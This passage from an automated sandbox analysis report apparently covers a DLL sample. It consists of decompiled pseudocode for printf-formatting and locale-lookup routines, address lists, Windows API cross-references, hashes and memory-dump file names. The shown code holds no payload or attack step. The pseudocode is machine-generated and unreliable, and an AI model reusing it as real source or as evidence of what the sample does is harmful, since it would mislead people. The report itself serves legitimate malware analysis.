																	 *_t216 = _t214 + 1;
																	 *((intOrPtr*)(_t180 + 8)) =  *((intOrPtr*)(_t180 + 8)) + 1;
																	 *( *( *_t219)) = 0x30;
																	_t156 =  *_t219;
																	 *_t156 =  *_t156 + 1;
																	__eflags =  *_t156;
																	_t208 =  *_t216;
																} else {
																	_t159 = _t180;
																	__eflags =  *((char*)(_t159 + 0xc));
																	if( *((char*)(_t159 + 0xc)) == 0) {
																		_t208 = _t208 | 0xffffffff;
																		__eflags = _t208;
																	} else {
																		_t208 = _t208 + 1;
																	}
																	 *_t216 = _t208;
																}
																__eflags = _t208 - 0xffffffff;
																if(_t208 == 0xffffffff) {
																	break;
																}
																_t158 = _v20 + 1;
																_v20 = _t158;
																__eflags = _t158 - _t198;
																if(_t158 < _t198) {
																	continue;
																}
																break;
															}
															_t218 = _v32;
															_t179 = 0;
															__eflags = 0;
															goto L83;
														}
														__eflags = _t208;
														if(_t208 <= 0) {
															goto L70;
														}
														_t217 =  *(_t218 + 0x14);
														_t199 = _t179;
														while(1) {
															_t160 =  *(_t218 + 0x448);
															_t181 =  *(_t218 + 0x448);
															__eflags = _t160[2] - _t181[1];
															if(_t160[2] != _t181[1]) {
																 *(_t218 + 0x14) = _t217 + 1;
																_t181[2] = _t181[2] + 1;
																 *( *( *(_t218 + 0x448))) = 0x20;
																_t166 =  *(_t218 + 0x448);
																 *_t166 =  *_t166 + 1;
																__eflags =  *_t166;
																_t217 =  *(_t218 + 0x14);
															} else {
																__eflags = _t181[3];
																if(_t181[3] == 0) {
																	_t217 = _t217 | 0xffffffff;
																	__eflags = _t217;
																} else {
																	_t217 = _t217 + 1;
																}
																 *(_t218 + 0x14) = _t217;
															}
															__eflags = _t217 - 0xffffffff;
															if(_t217 == 0xffffffff) {
																break;
															}
															_t199 = _t199 + 1;
															__eflags = _t199 - _t208;
															if(_t199 < _t208) {
																continue;
															}
															break;
														}
														_t187 = _v28;
														_t179 = 0;
														__eflags = 0;
														goto L70;
													}
													__eflags = _t211 - 0x41;
													if(_t211 == 0x41) {
														goto L56;
													}
													goto L57;
												}
												__eflags = _t127;
												if(_t127 == 0) {
													goto L58;
												}
												goto L53;
											}
											_t127 = _t179;
											__eflags = _t211 - 0x41;
											if(_t211 != 0x41) {
												goto L51;
											}
											goto L50;
										}
										L47:
										goto L48;
									}
									__eflags = _t211 - 0x58;
									if(_t211 != 0x58) {
										goto L47;
									}
									goto L46;
								}
								_t169 =  *(_t218 + 0x1c) >> 6;
								__eflags = 1 & _t169;
								if((1 & _t169) == 0) {
									__eflags =  *(_t218 + 0x1c) & 1;
									if(( *(_t218 + 0x1c) & 1) == 0) {
										_t171 =  *(_t218 + 0x1c) >> 1;
										__eflags = 1 & _t171;
										if((1 & _t171) != 0) {
											_v20 = 0x20;
											_t187 = 1;
											_v28 = 1;
										}
										goto L44;
									}
									_v20 = 0x2b;
									L41:
									_t187 = 1;
									_v28 = 1;
									goto L44;
								}
								_v20 = 0x2d;
								goto L41;
							}
							L11:
							_t120 = 0;
							goto L105;
						}
						_t173 = _t118;
						__eflags = _t173;
						if(__eflags == 0) {
							L28:
							_t119 = E6DA8E41E(_t218, __eflags, _t179);
							goto L10;
						}
						__eflags = _t173 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_t119 = E6DA8E59B(_t218, __eflags);
						goto L10;
					}
					if(__eflags == 0) {
						_t119 = E6DA8F77A(__ecx);
						goto L10;
					}
					__eflags = _t117 - 0x67;
					if(_t117 <= 0x67) {
						L29:
						_t119 = E6DA8F4BA(_t179, _t218);
						goto L10;
					}
					__eflags = _t117 - 0x69;
					if(_t117 == 0x69) {
						L27:
						_t4 = _t218 + 0x1c;
						 *_t4 =  *(_t218 + 0x1c) | 0x00000010;
						__eflags =  *_t4;
						goto L28;
					}
					__eflags = _t117 - 0x6e;
					if(_t117 == 0x6e) {
						_t119 = E6DA8F6D9(__ecx, __edx);
						goto L10;
					}
					__eflags = _t117 - 0x6f;
					if(_t117 != 0x6f) {
						goto L11;
					}
					_t119 = E6DA8F75D(__ecx);
					goto L10;
				}
				if(_t222 == 0) {
					goto L27;
				}
				_t223 = _t117 - _t183;
				if(_t223 > 0) {
					_t175 = _t117 - 0x5a;
					__eflags = _t175;
					if(_t175 == 0) {
						_t119 = E6DA8F460(__ecx);
						goto L10;
					}
					_t176 = _t175 - 7;
					__eflags = _t176;
					if(_t176 == 0) {
						goto L29;
					}
					__eflags = _t176;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t119 = E6DA8F644(_t179, _t218, _t208, __eflags, _t179);
					goto L10;
				}
				if(_t223 == 0) {
					_push(1);
					goto L13;
				}
				if(_t117 == 0x41) {
					goto L29;
				}
				if(_t117 == 0x43) {
					goto L17;
				}
				if(_t117 <= 0x44) {
					goto L11;
				}
				if(_t117 <= 0x47) {
					goto L29;
				}
				if(_t117 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x6da8f07e
0x6da8f07e
0x6da8f086
0x6da8f08d
0x6da8f092
0x6da8f094
0x6da8f098
0x6da8f09b
0x6da8f09c
0x6da8f0a0
0x6da8f0a3
0x6da8f116
0x6da8f119
0x6da8f169
0x6da8f169
0x6da8f16c
0x6da8f0d2
0x6da8f0d4
0x6da8f0d9
0x6da8f0db
0x6da8f187
0x6da8f18a
0x6da8f3fc
0x6da8f3fc
0x6da8f3fe
0x6da8f40b
0x6da8f40b
0x6da8f195
0x6da8f199
0x6da8f19d
0x6da8f19f
0x6da8f1a2
0x6da8f1a5
0x6da8f1a7
0x6da8f1db
0x6da8f1db
0x6da8f1de
0x6da8f1e1
0x6da8f1e8
0x6da8f1f0
0x6da8f1f2
0x6da8f1f6
0x6da8f1f6
0x6da8f1f9
0x6da8f202
0x6da8f202
0x6da8f204
0x6da8f204
0x6da8f206
0x6da8f20c
0x6da8f20c
0x6da8f211
0x6da8f214
0x6da8f21f
0x6da8f221
0x6da8f222
0x6da8f222
0x6da8f226
0x6da8f226
0x6da8f229
0x6da8f22c
0x6da8f232
0x6da8f234
0x6da8f238
0x6da8f239
0x6da8f23c
0x6da8f29c
0x6da8f29c
0x6da8f29f
0x6da8f2ad
0x6da8f2b3
0x6da8f2b8
0x6da8f2bd
0x6da8f2c0
0x6da8f2c2
0x6da8f328
0x6da8f328
0x6da8f32c
0x6da8f390
0x6da8f390
0x6da8f3a0
0x6da8f3a5
0x6da8f3a5
0x6da8f3a7
0x6da8f3a9
0x6da8f3fb
0x6da8f3fb
0x00000000
0x6da8f3fb
0x6da8f3ae
0x6da8f3b1
0x6da8f3b3
0x00000000
0x00000000
0x6da8f3b5
0x6da8f3b8
0x6da8f3ba
0x00000000
0x00000000
0x00000000
0x00000000
0x6da8f3bc
0x6da8f3bc
0x6da8f3bf
0x6da8f3c4
0x6da8f3c7
0x6da8f3dc
0x6da8f3df
0x6da8f3e1
0x6da8f3e8
0x6da8f3eb
0x6da8f3ed
0x6da8f3ed
0x6da8f3ef
0x6da8f3c9
0x6da8f3c9
0x6da8f3cd
0x6da8f3d2
0x6da8f3d2
0x6da8f3cf
0x6da8f3cf
0x6da8f3cf
0x6da8f3d5
0x6da8f3d5
0x6da8f3f1
0x6da8f3f4
0x00000000
0x00000000
0x6da8f3f6
0x6da8f3f7
0x6da8f3f9
0x00000000
0x00000000
0x00000000
0x6da8f3f9
0x00000000
0x6da8f3bc
0x6da8f32e
0x6da8f331
0x00000000
0x00000000
0x6da8f333
0x6da8f336
0x6da8f339
0x6da8f348
0x6da8f34f
0x6da8f353
0x6da8f358
0x6da8f35b
0x6da8f35d
0x00000000
0x00000000
0x6da8f35f
0x6da8f362
0x00000000
0x00000000
0x6da8f364
0x6da8f375
0x6da8f37d
0x6da8f380
0x6da8f381
0x6da8f384
0x6da8f387
0x00000000
0x00000000
0x00000000
0x6da8f389
0x6da8f38b
0x00000000
0x6da8f38b
0x6da8f2c4
0x6da8f2c7
0x6da8f2ca
0x00000000
0x00000000
0x6da8f2cc
0x6da8f2cf
0x6da8f2d2
0x6da8f2d4
0x00000000
0x00000000
0x6da8f2d6
0x6da8f2d8
0x6da8f2db
0x6da8f2db
0x6da8f2dd
0x6da8f2e0
0x6da8f2e5
0x6da8f2e8
0x6da8f2ff
0x6da8f303
0x6da8f30a
0x6da8f30d
0x6da8f30f
0x6da8f30f
0x6da8f311
0x6da8f2ea
0x6da8f2ea
0x6da8f2ec
0x6da8f2f0
0x6da8f2f5
0x6da8f2f5
0x6da8f2f2
0x6da8f2f2
0x6da8f2f2
0x6da8f2f8
0x6da8f2f8
0x6da8f313
0x6da8f316
0x00000000
0x00000000
0x6da8f31b
0x6da8f31c
0x6da8f31f
0x6da8f321
0x00000000
0x00000000
0x00000000
0x6da8f321
0x6da8f323
0x6da8f326
0x6da8f326
0x00000000
0x6da8f326
0x6da8f23e
0x6da8f240
0x00000000
0x00000000
0x6da8f242
0x6da8f245
0x6da8f247
0x6da8f247
0x6da8f24d
0x6da8f256
0x6da8f259
0x6da8f26f
0x6da8f274
0x6da8f27f
0x6da8f282
0x6da8f288
0x6da8f288
0x6da8f28a
0x6da8f25b
0x6da8f25b
0x6da8f25f
0x6da8f264
0x6da8f264
0x6da8f261
0x6da8f261
0x6da8f261
0x6da8f267
0x6da8f267
0x6da8f28d
0x6da8f290
0x00000000
0x00000000
0x6da8f292
0x6da8f293
0x6da8f295
0x00000000
0x00000000
0x00000000
0x6da8f295
0x6da8f297
0x6da8f29a
0x6da8f29a
0x00000000
0x6da8f29a
0x6da8f216
0x6da8f219
0x00000000
0x00000000
0x00000000
0x6da8f21b
0x6da8f208
0x6da8f20a
0x00000000
0x00000000
0x00000000
0x6da8f20a
0x6da8f1fb
0x6da8f1fd
0x6da8f200
0x00000000
0x00000000
0x00000000
0x6da8f200
0x6da8f1f4
0x00000000
0x6da8f1f4
0x6da8f1e3
0x6da8f1e6
0x00000000
0x00000000
0x00000000
0x6da8f1e6
0x6da8f1ac
0x6da8f1af
0x6da8f1b1
0x6da8f1b9
0x6da8f1bc
0x6da8f1cc
0x6da8f1ce
0x6da8f1d0
0x6da8f1d2
0x6da8f1d6
0x6da8f1d8
0x6da8f1d8
0x00000000
0x6da8f1d0
0x6da8f1be
0x6da8f1c2
0x6da8f1c2
0x6da8f1c4
0x00000000
0x6da8f1c4
0x6da8f1b3
0x00000000
0x6da8f1b3
0x6da8f0e1
0x6da8f0e1
0x00000000
0x6da8f0e1
0x6da8f173
0x6da8f173
0x6da8f176
0x6da8f147
0x6da8f14a
0x00000000
0x6da8f14a
0x6da8f178
0x6da8f17b
0x00000000
0x00000000
0x6da8f181
0x6da8f0ea
0x6da8f0ec
0x00000000
0x6da8f0ec
0x6da8f11b
0x6da8f15f
0x00000000
0x6da8f15f
0x6da8f11d
0x6da8f120
0x6da8f151
0x6da8f153
0x00000000
0x6da8f153
0x6da8f122
0x6da8f125
0x6da8f143
0x6da8f143
0x6da8f143
0x6da8f143
0x00000000
0x6da8f143
0x6da8f127
0x6da8f12a
0x6da8f13c
0x00000000
0x6da8f13c
0x6da8f12c
0x6da8f12f
0x00000000
0x00000000
0x6da8f133
0x00000000
0x6da8f133
0x6da8f0a5
0x00000000
0x00000000
0x6da8f0ab
0x6da8f0ad
0x6da8f0f3
0x6da8f0f3
0x6da8f0f6
0x6da8f10f
0x00000000
0x6da8f10f
0x6da8f0f8
0x6da8f0f8
0x6da8f0fb
0x00000000
0x00000000
0x6da8f0fe
0x6da8f101
0x00000000
0x00000000
0x6da8f103
0x6da8f106
0x00000000
0x6da8f106
0x6da8f0af
0x6da8f0e8
0x00000000
0x6da8f0e8
0x6da8f0b4
0x00000000
0x00000000
0x6da8f0bd
0x00000000
0x00000000
0x6da8f0c2
0x00000000
0x00000000
0x6da8f0c7
0x00000000
0x00000000
0x6da8f0d0
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 6DA8F20C

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 6ffe0e9a259b114ebf205106e5d05e75eecdf215e03385ce746514196cb1b6b3
Instruction ID: 7cb8c680aa0b389c44b8a10ce5ac70fbc158d2b0bccbe362f49cb5acac620ba1
Opcode Fuzzy Hash: 6ffe0e9a259b114ebf205106e5d05e75eecdf215e03385ce746514196cb1b6b3
Instruction Fuzzy Hash: 26C1FE38A0C74B8FCB11CE68C48067ABBB1FB46314F14865DDDA297292E335A8C6CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9C614 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6DA9C614(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t15;
				signed int _t21;
				void* _t23;
				void* _t30;
				void* _t32;
				signed int _t41;
				signed int* _t47;
				int _t49;
				signed int _t50;

				_t46 = __edx;
				_t15 =  *0x6dab3014; // 0x6c4e8ceb
				_v8 = _t15 ^ _t50;
				_t48 = _a4;
				_t32 = E6DA92BDC(__ecx, __edx, _a4);
				_t47 =  *(E6DA92BDC(__ecx, __edx, _a4) + 0x34c);
				_t49 = E6DA9C6E9(_t48);
				asm("sbb ecx, ecx");
				_t21 = GetLocaleInfoW(_t49, ( ~( *(_t32 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78);
				if(_t21 != 0) {
					_t23 = E6DA990B4(_t47, _t49,  *((intOrPtr*)(_t32 + 0x50)),  &_v248);
					_t41 =  *(_t32 + 0x60);
					if(_t23 != 0) {
						if(_t41 == 0 &&  *((intOrPtr*)(_t32 + 0x5c)) != _t41) {
							_t30 = E6DA990B4(_t47, _t49,  *((intOrPtr*)(_t32 + 0x50)),  &_v248);
							if(_t30 == 0) {
								_push(_t47);
								_push(_t30);
								goto L9;
							}
						}
					} else {
						if(_t41 != 0) {
							L10:
							 *_t47 =  *_t47 | 0x00000004;
							_t47[1] = _t49;
							_t47[2] = _t49;
						} else {
							_push(_t47);
							_push(1);
							L9:
							_push(_t49);
							if(E6DA9C843() != 0) {
								goto L10;
							}
						}
					}
					_t27 =  !( *_t47 >> 2) & 0x00000001;
				} else {
					 *_t47 =  *_t47 & _t21;
					_t27 = _t21 + 1;
				}
				return E6DA89B91(_t27, _t32, _v8 ^ _t50, _t46, _t47, _t49);
			}

0x6da9c614
0x6da9c61f
0x6da9c626
0x6da9c62b
0x6da9c634
0x6da9c63c
0x6da9c64b
0x6da9c657
0x6da9c668
0x6da9c670
0x6da9c681
0x6da9c688
0x6da9c68d
0x6da9c69a
0x6da9c6ab
0x6da9c6b4
0x6da9c6b6
0x6da9c6b7
0x00000000
0x6da9c6b7
0x6da9c6b4
0x6da9c68f
0x6da9c691
0x6da9c6c5
0x6da9c6c5
0x6da9c6c8
0x6da9c6cb
0x6da9c693
0x6da9c693
0x6da9c694
0x6da9c6b8
0x6da9c6b8
0x6da9c6c3
0x00000000
0x00000000
0x6da9c6c3
0x6da9c691
0x6da9c6d5
0x6da9c672
0x6da9c672
0x6da9c674
0x6da9c674
0x6da9c6e6

APIs

Part of subcall function 6DA92BDC: GetLastError.KERNEL32(?,00000008,6DA98ED9), ref: 6DA92BE0
Part of subcall function 6DA92BDC: SetLastError.KERNEL32(00000000,?,00000005,000000FF), ref: 6DA92C82

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6DA9C668

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 0b1efd6c4e5d462103036b2c40a1453ab499bd91a6bb0c4982a5da03858475ec
Instruction ID: 2b4be8fd2c0136fa7577e56019ef6d551198b20ad5dcb9e06efff2f5c42ea140
Opcode Fuzzy Hash: 0b1efd6c4e5d462103036b2c40a1453ab499bd91a6bb0c4982a5da03858475ec
Instruction Fuzzy Hash: EB21B07666D607ABEB189F29CD41ABA73F8EF09314F04607AFF01CA140EB349980DB50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9C29B Relevance: 1.6, APIs: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E6DA9C29B(void* __ecx, void* __edx, signed int* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t26;
				intOrPtr _t29;
				signed int _t32;
				signed char _t33;
				signed char _t34;
				intOrPtr* _t38;
				intOrPtr* _t41;
				signed int _t47;
				void* _t50;
				void* _t51;
				signed int* _t52;
				void* _t53;
				void* _t54;
				signed int _t62;

				_t54 = E6DA92BDC(__ecx, __edx, _t53);
				_t47 = 2;
				_t38 =  *((intOrPtr*)(_t54 + 0x50));
				_t50 = _t38 + 2;
				do {
					_t26 =  *_t38;
					_t38 = _t38 + _t47;
				} while (_t26 != 0);
				_t41 =  *((intOrPtr*)(_t54 + 0x54));
				 *(_t54 + 0x60) = 0 | _t38 - _t50 >> 0x00000001 == 0x00000003;
				_t51 = _t41 + 2;
				do {
					_t29 =  *_t41;
					_t41 = _t41 + _t47;
				} while (_t29 != 0);
				_t52 = _a4;
				 *(_t54 + 0x64) = 0 | _t41 - _t51 >> 0x00000001 == 0x00000003;
				_t52[1] = 0;
				if( *(_t54 + 0x60) == 0) {
					_t47 = E6DA9C395( *((intOrPtr*)(_t54 + 0x50)));
				}
				 *(_t54 + 0x5c) = _t47;
				_t32 = EnumSystemLocalesW(E6DA9C3C1, 1);
				_t62 =  *_t52 & 0x00000007;
				asm("bt ecx, 0x9");
				_t33 = _t32 & 0xffffff00 | _t62 > 0x00000000;
				asm("bt ecx, 0x8");
				_t34 = _t33 & 0xffffff00 | _t62 > 0x00000000;
				if((_t34 & (_t47 & 0xffffff00 | _t62 != 0x00000000) & _t33) == 0) {
					 *_t52 = 0;
					return _t34;
				}
				return _t34;
			}

0x6da9c2a8
0x6da9c2ae
0x6da9c2af
0x6da9c2b2
0x6da9c2b5
0x6da9c2b5
0x6da9c2b8
0x6da9c2ba
0x6da9c2c8
0x6da9c2ce
0x6da9c2d1
0x6da9c2d4
0x6da9c2d4
0x6da9c2d7
0x6da9c2d9
0x6da9c2e2
0x6da9c2ed
0x6da9c2f0
0x6da9c2f6
0x6da9c301
0x6da9c301
0x6da9c30a
0x6da9c30d
0x6da9c315
0x6da9c31b
0x6da9c31f
0x6da9c324
0x6da9c328
0x6da9c32d
0x6da9c32f
0x00000000
0x6da9c32f
0x6da9c335

APIs

Part of subcall function 6DA92BDC: GetLastError.KERNEL32(?,00000008,6DA98ED9), ref: 6DA92BE0
Part of subcall function 6DA92BDC: SetLastError.KERNEL32(00000000,?,00000005,000000FF), ref: 6DA92C82

EnumSystemLocalesW.KERNEL32(6DA9C3C1,00000001,00000000,?,-00000050,?,6DA9C9F2,00000000,?,?,?,00000055,?), ref: 6DA9C30D

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 1323dc192890057d6236e34f2b70ec53e58cd2ffb8a929a4ac83735088091412
Instruction ID: 27324880d47381c7e6ec9772b7731a59212a62e9944619fc7d8b4253cc708bfc
Opcode Fuzzy Hash: 1323dc192890057d6236e34f2b70ec53e58cd2ffb8a929a4ac83735088091412
Instruction Fuzzy Hash: EF11293B2187015FDB089F39C8906BABBE1FF84318B19442CD9864BA40D7756583C740

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9C843 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6DA9C843(signed int _a4, intOrPtr _a8) {
				short _v8;
				void* __ecx;
				void* __esi;
				void* __ebp;
				void* _t8;
				void* _t11;
				intOrPtr _t13;
				void* _t15;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t25;
				signed int _t26;
				intOrPtr* _t28;

				_push(_t15);
				_push(_t25);
				_t8 = E6DA92BDC(_t15, _t21, _t25);
				_t26 = _a4;
				_t23 = _t8;
				if(GetLocaleInfoW(_t26 & 0x000003ff | 0x00000400, 0x20000001,  &_v8, 2) == 0) {
					L7:
					_t11 = 0;
				} else {
					if(_t26 == _v8 || _a8 == 0) {
						L6:
						_t11 = 1;
					} else {
						_t28 =  *((intOrPtr*)(_t23 + 0x50));
						_t19 = _t28 + 2;
						do {
							_t13 =  *_t28;
							_t28 = _t28 + 2;
						} while (_t13 != 0);
						if(E6DA9C395( *((intOrPtr*)(_t23 + 0x50))) == _t28 - _t19 >> 1) {
							goto L7;
						} else {
							goto L6;
						}
					}
				}
				return _t11;
			}

0x6da9c848
0x6da9c849
0x6da9c84b
0x6da9c850
0x6da9c853
0x6da9c877
0x6da9c8ab
0x6da9c8ab
0x6da9c879
0x6da9c87c
0x6da9c8a6
0x6da9c8a8
0x6da9c884
0x6da9c884
0x6da9c887
0x6da9c88a
0x6da9c88a
0x6da9c88d
0x6da9c890
0x6da9c8a4
0x00000000
0x00000000
0x00000000
0x00000000
0x6da9c8a4
0x6da9c87c
0x6da9c8b0

APIs

Part of subcall function 6DA92BDC: GetLastError.KERNEL32(?,00000008,6DA98ED9), ref: 6DA92BE0
Part of subcall function 6DA92BDC: SetLastError.KERNEL32(00000000,?,00000005,000000FF), ref: 6DA92C82

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,6DA9C5DD,00000000,00000000,?), ref: 6DA9C86F

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b2a1ddc1532976e3a4ed4a0481dfec627f1e8f2baa7751b4fc9aa3583d358b7a
Instruction ID: 45475d91b81ef87bf4bcfdd182291cd14c7f401aad641c6a040efb80d78eab20
Opcode Fuzzy Hash: b2a1ddc1532976e3a4ed4a0481dfec627f1e8f2baa7751b4fc9aa3583d358b7a
Instruction Fuzzy Hash: 4BF0F976528617ABDB144A20C805BBA77E8EF80754F098424DD16AB180EA74FAC2C690

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9C1A9 Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6DA9C1A9(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t13;
				signed int _t17;
				signed int* _t39;
				int _t41;
				signed int _t42;

				_t38 = __edx;
				_t11 =  *0x6dab3014; // 0x6c4e8ceb
				_v8 = _t11 ^ _t42;
				_t40 = _a4;
				_t13 = E6DA92BDC(__ecx, __edx, _a4);
				_t26 = _t13;
				_t39 =  *(E6DA92BDC(__ecx, __edx, _a4) + 0x34c);
				_t41 = E6DA9C6E9(_t40);
				asm("sbb ecx, ecx");
				_t17 = GetLocaleInfoW(_t41, ( ~( *(_t13 + 0x64)) & 0xfffff005) + 0x1002,  &_v248, 0x78);
				if(_t17 != 0) {
					if(E6DA990B4(_t39, _t41,  *((intOrPtr*)(_t26 + 0x54)),  &_v248) == 0 && E6DA9C81E(_t41) != 0) {
						 *_t39 =  *_t39 | 0x00000004;
						_t39[2] = _t41;
						_t39[1] = _t41;
					}
					_t23 =  !( *_t39 >> 2) & 0x00000001;
				} else {
					 *_t39 =  *_t39 & _t17;
					_t23 = _t17 + 1;
				}
				return E6DA89B91(_t23, _t26, _v8 ^ _t42, _t38, _t39, _t41);
			}

0x6da9c1a9
0x6da9c1b4
0x6da9c1bb
0x6da9c1c0
0x6da9c1c4
0x6da9c1c9
0x6da9c1d1
0x6da9c1e0
0x6da9c1ec
0x6da9c1fd
0x6da9c205
0x6da9c21f
0x6da9c22c
0x6da9c22f
0x6da9c232
0x6da9c232
0x6da9c23c
0x6da9c207
0x6da9c207
0x6da9c209
0x6da9c209
0x6da9c24d

APIs

Part of subcall function 6DA92BDC: GetLastError.KERNEL32(?,00000008,6DA98ED9), ref: 6DA92BE0
Part of subcall function 6DA92BDC: SetLastError.KERNEL32(00000000,?,00000005,000000FF), ref: 6DA92C82

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 6DA9C1FD

Strings

utf8, xrefs: 6DA9C16C

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 78315a3d9f4b81cc6c699cb4c00caa2d1cc33c7647b6b5bbfa870a75732e1915
Instruction ID: 64469b11121b4654dac34e423e4293ba09fc8efd14742afef7c1d7d6c0ba9717
Opcode Fuzzy Hash: 78315a3d9f4b81cc6c699cb4c00caa2d1cc33c7647b6b5bbfa870a75732e1915
Instruction Fuzzy Hash: B4F0F472628205AFC714AF74D945AFA33E8DF49314F06407AA602DB240EB78AD458750

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9C336 Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DA9C336(void* __ecx, void* __edx, signed char* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t11;
				signed char* _t15;
				intOrPtr* _t19;
				intOrPtr _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t27 = E6DA92BDC(__ecx, __edx, _t26);
				_t24 = 2;
				_t19 =  *((intOrPtr*)(_t27 + 0x50));
				_t25 = _t19 + 2;
				do {
					_t11 =  *_t19;
					_t19 = _t19 + _t24;
				} while (_t11 != 0);
				_t4 = _t19 - _t25 >> 1 == 3;
				 *(_t27 + 0x60) = 0 | _t4;
				if(_t4 != 0) {
					_t24 = E6DA9C395( *((intOrPtr*)(_t27 + 0x50)));
				}
